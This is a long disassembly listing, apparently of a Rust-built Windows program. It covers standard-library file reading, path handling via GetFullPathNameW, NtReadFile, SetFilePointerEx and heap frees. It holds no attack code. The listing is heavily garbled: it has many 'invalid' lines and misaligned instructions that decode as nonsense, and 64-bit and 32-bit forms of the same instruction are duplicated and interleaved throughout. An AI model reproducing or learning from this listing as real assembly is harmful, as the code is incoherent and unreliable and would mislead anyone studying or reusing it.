cwde
invalid
invalid
mov al, 0x21
jmp 0x14007d1fb
xchg ecx, eax
invalid
invalid
invalid
xchg ecx, eax
invalid
invalid
mov al, 0x22
jmp 0x14007d1fb
mov bh, dh
invalid
invalid
mov bh, dh
invalid
invalid
mov al, 0x23
jmp 0x14007d1fb
cmp esi, 0xffffffff
invalid
cmp esi, 0xffffffff
push qword [rax - 0x18316dc]
mov al, 0x24
invalid
jl case.0x14007a1a1.191
invalid
invalid
mov al, 0x24
jmp 0x14007d1fb
jl case.0x14007a1a1.191
invalid
invalid
mov al, 0x25
jmp 0x14007d1fb
jne case.0x14007a1a1.192
invalid
mov al, 0x26
jmp 0x14007d1fb
outsb dx, byte [rsi]
invalid
invalid
invalid
outsb dx, byte [rsi]
invalid
mov al, 0x27
jmp 0x14007d1fb
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 0x28
jmp 0x14007d1fb
invalid
invalid
invalid
invalid
invalid
lea r8, str.library_std_srcio_readbuf.rs
cmp byte ss:[rsi], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1400a43b0
ud2
nop dword [rax]
mov qword [rsp + 0x10], rdx
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
mov rax, qword [rbp - 0x10]
invalid
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 8]
call fcn.1400755d0
mov rcx, qword [rbp - 0x18]
call fcn.14008b740
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
mov dword [rbp], 0xfffffffe
mov rsi, rcx
lea rcx, [rbp - 0x28]
call fcn.14007d670
cmp qword [rbp - 0x28], 0
cmp dword [rbp - 0x28], 0
je case.default.0x14007d42f
mov rdi, qword [rbp - 0x20]
mov edi, dword [rbp - 0x20]
mov ebx, edi
and ebx, 3
lea rax, [0x1400e7eb0]
stosb byte [rdi], al
invalid
add byte [rax + 0x63], cl
or al, 0x98
add rcx, rax
add ecx, eax
stosb byte [rdi], al
invalid
add ecx, eax
jmp rcx
movzx eax, byte [rdi + 0x10]
jmp 0x14007d45a
mov rax, qword [rbp - 0x20]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x14007d4b0
mov rcx, rdi
shr rcx, 0x20
call fcn.140077f60
jmp 0x14007d45a
movzx eax, byte [rdi + 0xf]
cmp al, 0xb
jne 0x14007d4a5
xorps xmm8, xmm8
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
lea rax, [rbx - 2]
cmp rax, 2
clc
add dh, byte [rdx + 0x42]
clc
add dh, byte [rdx + 0x42]
test rbx, rbx
je 0x14007d4b0
cmp eax, 0xff478d48
lea rax, [rdi - 1]
mov qword [rbp - 0x18], rax
mov rcx, qword [rdi - 1]
call 0x13f575fc7
mov rax, qword [rdi + 7]
mov eax, dword [rdi + 7]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x14007d4f0
add byte [rax + rbx*2 + 0x48], dh
cmp dword [rax + 0x10], 0x11
cmp qword [rax + 0x10], 0x11
adc dword [rbx + 0x3a], esi
jae 0x14007d4d9
mov r8, qword [rbp - 8]
jmp 0x14007d4e1
mov qword [rsi + 8], rdi
mov qword [rsi], 1
mov dword [rsi], 1
add rsp, 0x58
add esp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rax, rdi
shr rax, 0x20
cmp eax, 0x28
ja case.default.0x14007d4d3
and byte [rbx + 0x477728f8], al
lea rcx, [0x1400e7ec0]
lea ecx, [0x1400e7ec0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x14007d507
mov r8, qword [rbp - 8]
clc
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
sar bh, cl
adc eax, 0x2be40
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp - 0x18]
add rsp, 0x58
add esp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov esi, 0x29b00002
add al, byte [rax]
mov al, 0x29
jmp 0x14007d45a
invalid
mov al, 1
jmp 0x14007d45a
invalid
invalid
invalid
mov al, 2
jmp 0x14007d45a
invalid
invalid
invalid
mov al, 3
jmp 0x14007d45a
invalid
invalid
invalid
mov al, 4
jmp 0x14007d45a
invalid
invalid
invalid
mov al, 5
jmp 0x14007d45a
invalid
invalid
invalid
mov al, 6
jmp 0x14007d45a
invalid
invalid
invalid
mov al, 7
jmp 0x14007d45a
invalid
invalid
invalid
mov al, 8
jmp 0x14007d45a
invalid
invalid
invalid
mov al, 9
jmp 0x14007d45a
invalid
invalid
invalid
mov al, 0xa
jmp 0x14007d45a
invalid
invalid
invalid
mov al, 0xb
jmp 0x14007d45a
invalid
invalid
invalid
mov al, 0xc
jmp 0x14007d45a
invalid
invalid
invalid
invalid
in eax, 0xfe
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
xchg ecx, eax
invalid
invalid
invalid
invalid
invalid
jmp 0x14007d45a
invalid
invalid
invalid
invalid
invalid
jmp 0x14007d45a
and eax, 0xfffe44e9
push qword [rax - 0x1c216da]
mov al, 0x26
invalid
invalid
invalid
invalid
invalid
jmp 0x14007d45a
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x50]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
mov ecx, dword [rbp - 8]
call fcn.1400755d0
mov rcx, qword [rbp - 0x18]
call fcn.14008b740
nop
add rsp, 0x28
jp 0x14007d6d3
invalid
dec dword [rax - 0x75]
call 0x140e8b846
add byte [rax + 0x28c48348], dl
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
mov edi, edx
mov rsi, rcx
movups xmm0, xmmword [0x1400e1d20]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
invalid
dec dword [rcx + 0x39]
ror dword [rcx + 0xf], 0x42
ror dword [rdi], 0x57
ror byte [rdi], 0x11
and al, 0x38
invalid
ror dword [rdi], 0x57
ror byte [rdi], 0x11
and al, 0x38
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
lea eax, [rsp + 0x60]
lea eax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
add eax, dword [rcx]
add byte [rax], al
add eax, dword [rcx]
add byte [rax], al
jne 0x14007d6dc
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
adc eax, 0x2bd28
mov eax, dword [rsp + 0x60]
and al, 0x60
cmp eax, 0xc0000011
jne 0x14007d6eb
sal byte [rbp + 8], 0xf
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x14007d723
push rdi
ror byte [rdi], 0x11
invalid
cmp eax, 0x103
je 0x14007d72d
test eax, eax
js 0x14007d708
and al, 0x68
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x14007d723
add byte [rax - 0x3f], cl
loopne case.0x140023569.1414
invalid
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
or byte [rax - 0x39], r9b
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
invalid
add dword [rax], eax
add byte [rax], al
invalid
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
add eax, 0x6463f
lea rax, [0x1400e1d80]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.1400751a0
mov rcx, rax
call fcn.1400752e0
mov ecx, 7
int 0x29
ud2
jb 0x14007d822
movabs r10, 0x5c003f005c005c
cmp qword [r9], r10
je 0x14007d8d1
invalid
add byte [rcx - 0x46], cl
pop rsp
add byte [rdi], bh
add byte [rdi], bh
invalid
add byte [rax + rax + 0x4c], bl
mov ecx, dword [rbp + 0x418]
movabs r10, 0x5c003f003f005c
mov r9, qword [rbp + 0x418]
invalid
cmp qword [r9], r10
je 0x14007d8d1
cmp rax, 0xf8
jae 0x14007d8e1
sbb byte [rax + rax], al
add byte [rdi], cl
mov bh, 0x40
add al, 0xeb
cmp rax, 3
cmp rax, 3
je 0x14007d84e
cmp rax, 2
je 0x14007d8a4
cmp rax, 1
jne 0x14007d8e1
mov rax, qword [rbp + 0x418]
cmp word [rax + 2], 0x3a
jne 0x14007d8a4
mov rax, qword [rbp + 0x418]
movzx eax, word [rax + 4]
test ax, ax
je 0x14007d890
mov rax, qword [rbp + 0x418]
movzx eax, word [rax]
cmp ax, 0x5c
je 0x14007d8bc
mov bh, 0x40
add al, byte [rbx + 0x5745cf8]
cmp eax, 0x2f
jne 0x14007d8e1
mov rax, qword [rdx + 0x10]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rdx]
jmp 0x14007de0b
mov byte [rbp + 0x417], r8b
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x400], rdx
mov qword [rbp + 0x3b8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c0], xmm0
mov r13d, 0x200
mov eax, 2
mov qword [rbp + 0x3f8], rax
xor eax, eax
mov qword [rbp + 0x3f0], rax
xor r15d, r15d
xor esi, esi
cmp r13, 0x201
jb 0x14007d94f
jmp 0x14007d960
jae 0x14007da35
cmp r13, 0x201
jae 0x14007d960
mov r12d, 0x200
lea rbx, [rbp - 0x60]
mov r14, r13
jmp 0x14007d9c5
sub r13, rsi
sub r15, rsi
cmp r15, r13
jae 0x14007d999
lea rcx, [rbp + 0x3b8]
mov rdx, rsi
mov r8, r13
call fcn.1400a3250
pop rax
add al, byte [rax]
pop rax
add al, byte [rax]
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x3f8], rax
add byte [rax - 0x75], cl
test eax, eax
add eax, dword [rax]
add byte [rax - 0x77], cl
mov dword [rbp + 0x3f0], eax
add byte [rax - 0x75], cl
test eax, eax
add eax, dword [rax]
add byte [rax - 0x77], cl
mov dword [rbp + 0x3f0], eax
mov r15, qword [rbp + 0x3f0]
mov eax, 0xffffffff
invalid
invalid
invalid
mov dword [rbp + 0x3f0], eax
mov r15, qword [rbp + 0x3f0]
mov eax, 0xffffffff
invalid
invalid
invalid
invalid
cmp r15, rax
mov esi, 0xffffffff
cmovb rsi, r15
mov qword [rbp + 0x3c8], rsi
enter 3, 0
enter 3, 0
mov r12, rsi
mov rbx, qword [rbp + 0x3f8]
mov r14, rsi
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x418]
mov edx, r14d
mov rdi, rbx
mov edi, ebx
mov edi, ebx
mov r8, rbx
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFullPathNameW]
adc eax, 0x2b7ea
adc eax, 0x2b7ea
mov ebx, eax
test eax, eax
jne case.0x140023569.1424
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x14007da69
mov r13d, ebx
cmp r14, r13
jne 0x14007d940
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
clc
jp 0x14007da1b
test dword [rcx], edx
add al, 0
invalid
clc
jp 0x14007da1b
test dword [rcx], edx
add al, 0
add byte [rbp + 1], cl
idiv byte [rax - 1]
add r14, r14
mov eax, 0xffffffff
cmp r14, rax
cmovae r14, rax
mov r13, r14
cmp r13, 0x201
jae 0x14007d960
invalid
jmp 0x14007d94f
cmp r12, r13
jb 0x14007de3c
add dword [rax], eax
add byte [rdi], cl
mov bh, 0xf
jmp 0x14007db2c
call qword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
invalid
add cl, byte [rbx + rcx*4 - 0x43]
add byte [rax + rax], al
add byte [rax - 0x7d], cl
mov ebp, 0x3f0
add byte [rax], al
add byte [rcx - 0x193eb73a], cl
and byte [rax - 0x7d], cl
invalid
add byte [rax], al
jne 0x14007ddb0
jmp 0x14007ddc6
add byte [rdi], cl
xchg byte [rsi + 0x48000000], bh
mov ecx, edi
movzx eax, word [rdi + 2]
cmp eax, 0x3a
jne 0x14007dacb
cmp word [rcx + 4], 0x5c
jne 0x14007dacb
mov r12d, 4
lea rbx, [0x1400e1f98]
invalid
invalid
add byte [rax - 0x77], cl
lea ecx, [rax]
add al, 0
add cl, ch
jp 0x14007daca
add byte [rax], al
invalid
add cl, ch
jp 0x14007daca
add byte [rax], al
add byte [rdi], cl
mov bh, 9
movzx ecx, word [rcx]
cmp ebx, 3
jbe 0x14007db2c
lea rbx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
cmp cx, 0x5c
jne 0x14007dc3b
cmp eax, 0x3f
je 0x14007dc3b
cmp eax, 0x5c
jne 0x14007db36
movzx eax, word [rdi + 4]
cmp eax, 0x3f
je 0x14007dc30
cmp eax, 0x2e
jne 0x14007db3c
cmp word [rdi + 6], 0x5c
jne 0x14007db3c
cmp cx, 0x5c
jne 0x14007dba4
movzx eax, word [rdi + 2]
cmp ax, 0x5c
jne 0x14007dba4
add r13, 0xfffffffffffffffe
add rdi, 4
mov qword [rbp + 0x408], rdi
mov r12d, 8
lea rbx, [0x1400e1fa0]
jmp 0x14007dc45
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x77], cl
test eax, ebp
add eax, dword [rax]
add bl, ch
xor dword [rax - 0x77], ecx
mov ebp, 0x408
mov qword [rbp + 0x408], rdi
lea rbx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
jmp 0x14007dc42
invalid
test eax, esp
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea esp, [rax + 0x4c000003]
lea ecx, [rbp + 0x3d8]
mov edx, 2
call fcn.14005bd70
cmp qword [rbp + 0x3a0], 0
movabs al, byte [0xa88d8b4800000003]
add eax, dword [rax]
invalid
je 0x14007dc18
movabs al, byte [0xa88d8b4800000003]
add eax, dword [rax]
add byte [rdx + rbx + 0x48], dh
mov eax, 1
add byte [rax], al
add byte [rax + 0xfc13948], al
movabs rax, 0x8000000000000001
cmp rcx, rax
jne 0x14007de6a
test dword [rcx + 2], ebx
add byte [rax], al
xor esi, esi
jmp 0x14007dd26
mov qword [r15], rcx
mov qword [r15 + 8], r12
xor esi, esi
mov qword [rbp + 0x418], rcx
mov r14, r12
jmp 0x14007dd26
cmp word [rdi + 6], 0x5c
pop rsp
jne 0x14007db3c
mov qword [rbp + 0x408], rdi
xor r12d, r12d
lea r14, [r12 + r13]
inc r14
mov rdi, qword [r15 + 8]
cmp rdi, r14
jae case.0x1400795ae.232
lea ebx, [rax]
add al, 0
add byte [rax - 0x77], cl
invalid
fadd dword [rbx]
add byte [rax], al
mov qword [rbp + 0x3e0], 2
add eax, dword [rax]
add byte [rdx], al
add al, byte [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rdx], al
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x3e8], rax
jmp 0x14007dc8f
invalid
invalid
test eax, esp
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x3e8], rax
jmp 0x14007dc8f
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea esp, [rax + 0x4c000003]
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x73], cl
fadd dword [rbx]
add byte [rax], al
lea rcx, [rbp + 0x3a0]
lea r9, [rbp + 0x3d8]
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x73], cl
fadd dword [rbx]
add byte [rax], al
mov edx, 2
call fcn.14005bd70
loopne 0x14007dca3
dec dword [rax - 0x7d]
mov ebp, 0x3a0
invalid
loopne 0x14007dca3
mov rcx, qword [rbp + 0x3a8]
je 0x14007dcff
movabs rax, 0x8000000000000001
cmp rcx, rax
or byte [rax + 0x39], 0xc1
jne 0x14007de50
cmp rdi, r12
jae 0x14007dcf1
mov rcx, r15
xor edx, edx
ror byte [rbp - 0x77], cl
loopne 0x14007dcc1
jae 0x14007dd30
add al, byte [rax]
ror byte [rbp - 0x77], cl
loopne 0x14007dcc1
jae 0x14007dd30
add al, byte [rax]
mov r15, qword [rbp + 0x400]
mov rsi, qword [r15 + 0x10]
mov rcx, qword [r15]
mov r14, qword [r15 + 8]
mov esi, dword [rdi + 8]
mov esi, dword [rdi + 8]
jmp 0x14007dd08
xor esi, esi
mov r14, rdi
mov rcx, qword [rbp + 0x418]
jmp 0x14007dd08
mov qword [r15], rcx
mov qword [r15 + 8], r14
ja 0x14007dd0e
xor esi, esi
ja 0x14007dd0e
lea r8, [r12 + r12]
mov qword [rbp + 0x418], rcx
lea rcx, [rcx + rsi*2]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
xor byte [rdx], al
add byte [rcx + rax - 0x1a], cl
mov qword [r15 + 0x10], rsi
mov rax, r14
sub rax, rsi
cmp rax, r13
jae 0x14007dd53
and cl, byte [rcx + rcx*4 - 7]
mov rcx, r15
mov rdx, rsi
mov r8, r13
call fcn.1400a3250
mov r15, qword [rbp + 0x400]
mov rsi, qword [r15 + 0x10]
mov esi, dword [rdi + 0x10]
mov esi, dword [rdi + 0x10]
mov rdi, qword [r15]
mov r14, qword [r15 + 8]
jmp 0x14007dd5a
mov rdi, qword [rbp + 0x418]
lea r8, [r13*2]
lea rcx, [rdi + rsi*2]
mov rdx, qword [rbp + 0x408]
call sub.VCRUNTIME140.dll_memcpy
add rsi, r13
mov qword [r15 + 0x10], rsi
cmp rsi, r14
jne 0x14007dd97
mov rcx, r15
mov rdx, r14
call fcn.14000cb40
mov r15, qword [rbp + 0x400]
mov rdi, qword [r15]
mov rsi, qword [r15 + 0x10]
mov word [rdi + rsi*2], 0
inc rsi
mov qword [r15 + 0x10], rsi
xor esi, esi
cmp qword [rbp + 0x3f0], 0
je 0x14007ddc6
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x3f8]
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
je 0x14007ddf8
mov rax, qword [rbp + 0x3d0]
mov qword [rax + 8], rsi
mov qword [rax], 0
cmp qword [r15 + 8], 0
je 0x14007de0e
mov r8, qword [r15]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14007de0e
mov rax, qword [r15 + 0x10]
mov rcx, qword [rbp + 0x3d0]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [r15]
movups xmmword [rcx], xmm0
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400a4530
jmp 0x14007de82
test rcx, rcx
jne 0x14007de5c
call fcn.14003bdd0
jmp 0x14007de82
sti
invalid
mov rdx, qword [rbp + 0x3b0]
call fcn.1400a42a0
jmp 0x14007de82
test rcx, rcx
jne 0x14007de76
call fcn.14003bdd0
jmp 0x14007de82
mov rdx, qword [rbp + 0x3b0]
call fcn.1400a42a0
ud2
add byte [rax], al
call fcn.14003c270
mov rax, qword [rbp + 0x400]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.14003c270
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, r9
mov rdi, r8
mov dword [rbp - 0x28], 0
mov word [rbp - 0x24], 0
mov dword [rbp - 0x48], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], 7
mov byte [rbp - 0x27], 1
mov byte [rbp - 0x24], 1
mov byte [rbp - 0x25], 1
lea r8, [rbp - 0x48]
call fcn.14007cdd0
test rax, rax
je 0x14007df58
mov r14, rdx
jmp 0x14007e06d
test rsi, rsi
mov qword [rbp - 0x10], rdx
je 0x14007e060
lea rbx, [rbp - 0x48]
lea r15, str.failed_to_write_whole_buffer
lea r12, [0x1400e7f64]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14007df98
test rsi, rsi
mov rdx, qword [rbp - 0x10]
je 0x14007e060
test byte [rax - 0x75], 0x55
invalid
mov rcx, rbx
mov r8, rdi
mov r9, rsi
call fcn.140076770
cmp qword [rbp - 0x48], 0
invalid
invalid
je case.default.0x14007dfbe
mov eax, 0x4c537400
mov esi, dword [rbp - 0x40]
mov r14, qword [rbp - 0x40]
mov eax, r14d
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
lea eax, [rsi - 1]
mov qword [rbp - 0x20], rax
mov rcx, qword [r14 - 1]
mov rax, qword [r14 + 7]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x14007e04b
cmp qword [rax + 0x10], 0x11
jae 0x14007e037
mov r8, qword [rbp - 8]
jmp case.0x14002753a.1382
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14007e081
mov r8, qword [rbp - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call r13
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp - 0x20]
call r13
jmp 0x14007df8b
xor r14d, r14d
xor esi, esi
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rax, r14
add rsp, 0x78
add esp, 0x78
add esp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov esi, edi
jmp 0x14007e063
mov rdx, rsi
call fcn.1400a43b0
ud2
invalid
or esp, dword [rsi + 0xf]
invalid
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x70]
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 8]
call fcn.1400755d0
mov rcx, qword [rbp - 0x20]
call fcn.14008b740
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
or dword [rax - 0x39], 0x282444
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x28
add byte [rax], al
add byte [rax], al
lea r8, [rsp + 0x28]
mov rcx, rdx
mov rdx, rax
call qword [sym.imp.kernel32.dll_SetFilePointerEx]
invalid
test eax, eax
je 0x14007e171
add byte [rbp + 0x480d74c0], al
mov eax, dword [rsp + 0x28]
and al, 0x28
mov rax, qword [rsp + 0x28]
and al, 0x28
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14007e188
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
or byte [rax + 1], r15b
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
or byte [rax + 1], r15b
mov qword [rsi], rax
add rsp, 0x30
pop rsi
ret
int3
mov eax, 0x21e
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x70], eax
movaps xmm0, xmmword [rsp + 0x20]
sub byte [rsp + 0x20], al
sub byte [rsp + 0x20], al
movaps xmm1, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x80]
lea ecx, [rsp + 0x80]
lea ecx, [rsp + 0x80]
lea rdx, [rsp + 0x2d2]
lea edx, [rsp + 0x2d2]
mov r8d, 0x21e
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14007e37a
invalid
invalid
adc edi, edi
adc eax, 0x2b013
call qword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
invalid
shl rdi, 0x20
or rdi, 2
xor r14d, r14d
xor esi, esi
xor esi, esi
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdi
or byte [rax - 0x77], cl
jle 0x14007e392
movaps xmm0, xmmword [rsp + 0x50]
sub byte [rsp + 0x50], al
movaps xmm1, xmmword [rsp + 0x60]
and al, 0x60
invalid
movups xmmword [rsi + 0x18], xmm0
movups xmmword [rsi + 0x28], xmm1
mov eax, dword [rsp + 0x70]
mov dword [rsi + 0x38], eax
cmp byte [rsi - 0x77], r12b
outsb dx, byte [rsi]
invalid
cmp byte [rsi - 0x77], r12b
outsb dx, byte [rsi]
cmp al, 0x66
mov dword [rsi + 0x3e], r15d
mov word [rsi + 0x3e], r15w
mov word [rsi + 0x40], r12w
mov dword [rsi + 0x40], esp
lea rcx, [rsi + 0x42]
lea rdx, [rsp + 0x80]
xchg esp, eax
and al, 0x80
add byte [rax], al
invalid
xchg esp, eax
and al, 0x80
add byte [rax], al
add byte [rcx - 0x48], al
invalid
invalid
invalid
mov r8d, 0x21e
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], 1
add byte [rax], al
invalid
add al, ch
pop rbx
sub al, byte [rdx]
add byte [rax - 0x39], cl
invalid
add byte [rax], al
add byte [rax - 0x7f], cl
add rsp, 0x4f0
pop rbx
pop rbp
invalid
add al, 0
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rdi
pop rdi
ret
or ecx, esp
int3
push r12
push rsi
push rdi
push rbx
sub rsp, 0x70
sub esp, 0x70
sub esp, 0x70
jo case.0x140078b44.270
lea rbp, [rsp + 0x70]
lea ebp, [rsp + 0x70]
jo 0x14007e43c
mov qword [rbp - 8], 0xfffffffffffffffe
mov dword [rbp - 8], 0xfffffffe
dec dword [rax - 0x77]
ror byte [rax - 0x77], 1
invalid
mov rax, rdx
mov rsi, rcx
mov rcx, qword [rdx]
mov rbx, qword [rcx + 0x10]
pop rcx
adc byte [rax - 0x75], cl
jns 0x14007e42c
or cl, byte [rax - 0x75]
pop rcx
adc byte [rax - 0x75], cl
mov edi, dword [rcx + 0x20]
jns 0x14007e42c
add rdx, 0x34
lea rcx, [rax + 0x234]
lea ecx, [rax + 0x234]
lea ecx, [rax + 0x234]
add byte [rcx - 0x47], al
add al, 1
mov r9d, 0x104
add byte [rax], al
mov r8, rdx
mov eax, edx
cmp word [r8], 0
cmp dword [rax], 0
je 0x14007e4d6
add byte [rsi + 0x41], ah
cmp word [r8 + 2], 0
cmp dword [r8 + 2], 0
cmp dword [rax + 2], 0
je case.0x140078b44.276
jnp case.0x140078b44.278
cmp word [r8 + 4], 0
cmp dword [r8 + 4], 0
cmp dword [rax + 4], 0
js 0x14007e43c
add al, 0
je 0x14007e4b4
cmp word [r8 + 6], 0
cmp dword [r8 + 6], 0
je 0x14007e4ba
cmp word [r8 + 8], 0
js 0x14007e450
add byte [rbp + rsi*2 + 0x66], dh
cmp dword [r8 + 0xa], 0
cmp dword [rax + 0xa], 0
je 0x14007e4c0
jne 0x14007e4b2
cmp word [r8 + 0xa], 0
cmp dword [rax + 0xa], 0
js 0x14007e45a
or al, byte [rax]
add byte [rbx + rsi*2 + 0x66], dh
cmp dword [r8 + 0xc], 0
cmp dword [rax + 0xc], 0
je case.0x14007a34e.211
cmp word [r8 + 0xc], 0
cmp dword [rax + 0xc], 0
je 0x14007e4cc
jno 0x14007e4c2
cmp word [r8 + 0xe], 0
cmp dword [r8 + 0xe], 0
je 0x14007e4d2
outsd dx, dword [rsi]
add r9, 0xfffffffffffffff8
sar eax, 0x49
add eax, 0x10
invalid
invalid
clc
add r8, 0x10
rcl byte [rax], 0x49
cmp ecx, 7
stc
invalid
adc byte [rcx - 0x7d], cl
cmp r9, 7
stc
invalid
ja 0x14007e420
cmp word [rcx], 0
je 0x14007e4d9
cmp word [rax + 0x236], 0
add byte [rdi], cl
test byte [rdx + 1], dl
push rdx
add dword [rax], eax
invalid
je 0x14007e5d7
push rdx
add dword [rax], eax
add byte [rsi - 0x7d], ah
cmp word [rax + 0x238], 0
je 0x14007e5e5
cmp word [rax + 0x238], 0
add byte [rax], al
je 0x14007e5e5
mov r8d, 0x104
mov eax, 0x104
add dword [rax], eax
add byte [rsi - 0x7d], ah
invalid
invalid
mov eax, 0x23a
add al, byte [rax]
add byte [rax], al
cmp word [rax + 0x23a], 0
cmp dword [rax + 0x23a], 0
add byte [rax], al
add byte [rbp + 0x4c], dh
jne case.0x140079f04.224
add rax, 0x23a
mov rcx, rax
jmp 0x14007e4d9
add r8, 2
